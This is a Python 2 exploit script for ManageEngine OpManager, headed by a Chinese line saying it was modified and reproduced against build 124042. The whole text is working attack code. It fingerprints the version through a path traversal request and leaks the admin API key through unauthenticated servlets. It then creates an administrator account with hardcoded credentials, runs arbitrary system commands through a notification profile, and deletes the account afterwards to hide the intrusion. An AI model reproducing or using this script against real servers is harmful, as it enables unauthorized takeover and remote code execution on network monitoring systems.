修正原始Exp部分内容 成功复现版本 124042
#!/usr/bin/python2
import requests
import sys
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class OpManagerExploit():
def __init__(self,url):
self.url = url
self.ver = None
self.api_key = False
def FindVer(self):
ver_req = requests.get(self.url+'/js/%2e%2e/html/About.properties',verify=False,allow_redirects=False)
if ver_req.status_code != 200:
print '[-] Unexpected response to fingerprinting request, Bailing.'
return False
if ver_req.text.find('BUILD_NUMBER') == -1 or ver_req.text.find('BUILD_VERSION') == -1:
print '[-] Unable to read OpManager version, Bailing'
return False
t = ver_req.text
self.ver = int(t[t.find('BUILD_NUMBER')+13:t.find('\n',t.find('BUILD_NUMBER'))].strip())
print '\n[+] Build version of opManager is {}'.format(self.ver)
print '[+] Found OpManager Version {}'.format(t[t.find('BUILD_VERSION')+13:t.find('\n',t.find('BUILD_VERSION'))].strip())
def LeakApiKey(self):
if self.ver >= 123127:
leak_d = {
'reqFrm':'fwacs','key':'true','user':'admin','process':'apikey'}
leak_r = requests.post(self.url+'/servlet/sendData',verify=False,data = leak_d)
if leak_r.status_code != 200:
print '[-] Failed to extract API KEY.'
return False
if leak_r.text.find('key=Start') == -1:
print '[-] Invalid response in LeakApiKey()'
return False
d = leak_r.text
api_key = d[d.find('key=Start',d.find('key=Start')+11)+10:].strip()
print '[+] Got API Key {}'.format(api_key)
return api_key
else:
leak_d = {
'action':'getAPIKey'}
leak_r = requests.post(self.url+'/oputilsServlet',verify=False,data = leak_d)
if leak_r.status_code != 200:
print '[-] Failed to extract API KEY.'
return False
d = leak_r.text
if d.find('API_KEY=') == -1:
print '[-] Failed to extract API key'
return False
api_key = d[d.find('API_KEY=')+8:d.find('\n',d.find('API_KEY='))]
print '[+] Got API Key {}'.format(api_key)
return api_key
def AddUser(self,interact=False):
if self.api_key is False:
print '[+] Leaking API key to add a new user'
self.api_key = self.LeakApiKey()
if self.api_key is False:
print '[-] Failed to leak api to add a user'
return False
if interact == True:
username = raw_input('Username > ')
password = raw_input('Password > ')
else:
username = '[email protected]'
password = 'P@ssw0rd'
print '[+] Adding a new admin user'
add_d = 'apiKey='+self.api_key+'&userName='+username+'&privilege=Administrators&password='+password+'&emailId='+username+'&tZone=null'
print "url: {}, add_d: {}".format(self.url, add_d)
add_r = requests.post(self.url+'/api/json/v2/admin/addUser?'+add_d,verify=False,headers={
'Accept':'application/json'})
if add_r.status_code != 200:
print '[-] Failed to add a new user, invalid response'
return False
else:
try:
resp = json.loads(add_r.text)
except:
print '[-] Failed to add user, Invalid response data'
print "add_r: {}".format(add_r.content)
return False
if resp.keys()[0] == 'error':
print '[+] Error {} while adding user'.format(resp['error']['message'])
return False
else:
print '[+] Success, Response from server: {}'.format(resp['result']['message'])
return True
def DeleteUser(self,interact=False):
if self.api_key is False:
print '[+] Leaking API key to delete a user'
self.api_key = self.LeakApiKey()
if self.api_key is False:
print '[-] Failed to leak api to delete a user'
return False
if interact == True:
username = raw_input('Username to delete> ')
else:
username = '[email protected]'
users_list = requests.get(self.url+'/api/json/nfausers/getAllUsers?apiKey='+self.api_key,verify=False).text
try:
usl = json.loads(users_list)
except:
print '[-] Failed to obtain user list'
return False
user_id = None
for u in usl:
if u['uName'] == username:
user_id = int(u['uID'])
print '[+] Found user id {}'.format(user_id)
break
if user_id is None:
print '[-] Username not found '
return False
del_r = requests.post(self.url+'/api/json/admin/deleteUser?'+'apiKey='+self.api_key+"&userName"+username,data={
"userName":username},verify=False)
if del_r.status_code == 200:
print '[+] User deleted successfully'
return True
else:
print '[-] User deletion Failed.'
return False
def ExecuteCommand(self):
if self.api_key is False:
print '[+] Leaking API key for RCE'
self.api_key = self.LeakApiKey()
if self.api_key is False:
print '[-] Failed to leak api for RCE'
return False
if self.AddUser() is False:
print '[-] Failed to add user for RCE'
return False
print '[+] Loggin in with the added user'
proxies={
'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
login_dat = {
'AUTHRULE_NAME':'Authenticator','clienttype':'html','ScreenWidth':'1920','ScreenHeight':'602','loginFromCookieData':'false','ntlmv2':'false','j_username':'[email protected]','j_password':'P@ssw0rd','signInAutomatically':'on','uname':''}
sess = requests.Session()
headers = {
'Content-Type': 'application/x-www-form-urlencoded'}
sess.get(self.url+'/apiclient/ember/Login.jsp',verify=False,allow_redirects=False)
login_r = sess.post(self.url+'/apiclient/ember/j_security_check',headers=headers,data=login_dat,verify=False)
#print login_r.text
if login_r.status_code != 200 :
print '[+] Login Failed...'
self.DeleteUser()
return False
print '[+] Login Successful.'
command = raw_input('Command to execute> ')
if self.ver > 123127:
cmd_d = {
'append':'true','command':command,'selectedseverities':'1,2,3,4','checkedhardwareMonitor':'true','selectAllhardwareMonitor':'true','selectedDevicesStr':'127.0.0.53','twoption':'All','profileType':'Run System Command','name':'POP'}
#headers = {'X-ZCSRF-TOKEN': 'opmcsrftoken='+sess.cookies.get_dict()['opmcsrfcookie']}
cmd_r = sess.post(self.url+'/client/api/json/admin/testNProfile',headers=headers,verify=False,data=cmd_d,allow_redirects=False,proxies=proxies)
else:
cmd_d = {
'command':command,'selectedseverities':'1,2,3,4','checkeddevicemissespolls':'true','noofpolls':'1','deviceCategory':'iv_12','twoption':'All','profileType':'Run System Command','name':'as'}
cmd_r = sess.post(self.url+'/api/json/admin/testNProfile?apiKey='+self.api_key,verify=False,data=cmd_d,allow_redirects=False,proxies=proxies)
try:
output = json.loads(cmd_r.text)
except:
print '[-] Invalid Response data from RCE request'
self.DeleteUser()
return False
if output.keys()[0] == 'result':
print '[+] Command successfully executed: {}'.format(output)
print '[+] Done with RCE, Cleaning up user'
self.DeleteUser()
return True
def Exploit(self):
print '[+] Starting Exploit\n[+] Please choose operation'
print '\t1) Execute Shell Command\n\t2) Add an admin user\n\t3) Delete a user\n\t4) Leak admin API Key'
ch = raw_input("Choice> ")
if ch == '1':
self.ExecuteCommand()
elif ch == '2':
self.AddUser(interact=True)
elif ch == '3':
self.DeleteUser(interact=True)
elif ch == '4':
self.LeakApiKey()
else:
print '[-] wth is {}'.format(ch)
if __name__ == '__main__':
if len(sys.argv) < 2:
print '[+] Usage: {} ' .format(sys.argv[0])
exit(1)
ex = OpManagerExploit(sys.argv[1].strip())
if ex.FindVer() == False:
exit(1)
ex.Exploit()